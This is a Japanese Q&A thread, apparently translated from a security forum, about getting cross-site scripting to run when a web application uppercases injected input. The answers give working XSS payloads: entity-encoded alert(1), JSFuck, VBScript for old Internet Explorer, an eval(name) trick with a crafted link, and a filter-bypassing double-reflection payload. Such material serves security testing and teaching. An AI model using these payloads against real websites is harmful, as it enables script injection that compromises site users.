web-dev-qa-db-ja.com

Webアプリケーションがデータを小文字から大文字に変換するときにXSSを実行するにはどうすればよいですか?

私はWebアプリケーションをテストしています。Webアプリケーションに入力データを送信すると、次のようなonclick関数にデータが配置されます。

_<a href="#" onclick="someFunction('dataFromServer', '0');">link</a>
_

しかし、Webアプリケーションはそのデータを小文字から大文字に変換し、dataFromServer','0');alert('XSS');someFunction('に置き換えると、次の結果が得られます。

_<a href="#" onclick="someFunction('','0');ALERT('XSS');SOMEFUNCTION('', '0');">link</a>
_

つまり、ブラウザで「アラートが定義されていません」と表示されるため、私のXSSエクスプロイトは機能しません。FirefoxとIEでテストしました。

この場合、XSSを実行する方法はありますか?

11
hmrojas.p

アンパサンドと数字を使用して文字をエンコードできます(htmlエンコード)。 a = &#x41;または&#x65; 等々。

JavaScriptコードは、英数字を使用せずにエンコードできます。これを行う最も簡単な方法は、以下をチェックアウトすることです。 http://www.jsfuck.com/ このサイトでエンコードできます。

7
Erlend

アプリケーションのユーザーベースに応じて、これを行う方法が1つ(旧式)あり、ケースに関連する場合とそうでない場合があります。

VBScriptはInternet Explorer 10以前で問題なく動作し、大文字と小文字を区別しないため、次のようなものです

<IMG SRC='vbscript:msgbox("XSS")'>

うまくいくかもしれません。

3
Rory McCune

あなたの例では、すでにHTML属性コンテキストにいるので、ペイロードをHTMLエンコードできるだけです。ブラウザはそれをJavaScriptエンジンに渡す前にデコードします。

_onclick="&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;"_をクリックすると、alert(1)が実行されます。

100文字の長さ制限がある場合は、次のpyaloadを使用できます。

&#x65;&#x76;&#x61;&#x6C;(&#x6E;&#x61;&#x6D;&#x65;)eval(name)に変換されます

たとえばa-tagのtarget属性を介して、名前またはwindow.nameを設定できます。

<a target="alert(1)" href="http://vulnerable.com/?xss=%26%23x65%3B%26%23x76%3B%26%23x61%3B%26%23x6C%3B%28%26%23x6E%3B%26%23x61%3B%26%23x6D%3B%26%23x65%3B%29">Click to XSS</a>

他の3つの例:

  • _<iframe srcdoc="<SCRIPT>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</iframe>">_
  • _<svg><script>&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</script></svg>_
  • _">`]]>-&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;</SCRIPT></SVG><SVG><SCRIPT>`<![CDATA[_

最後の1つは、ページに二重反射が含まれている場合に機能し、ブラウザーのXSSフィルターをバイパスします。

注:_&#x61;&#x6C;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;_ = alert(1)(HTML/XMLエンティティがデコードされた場合)

0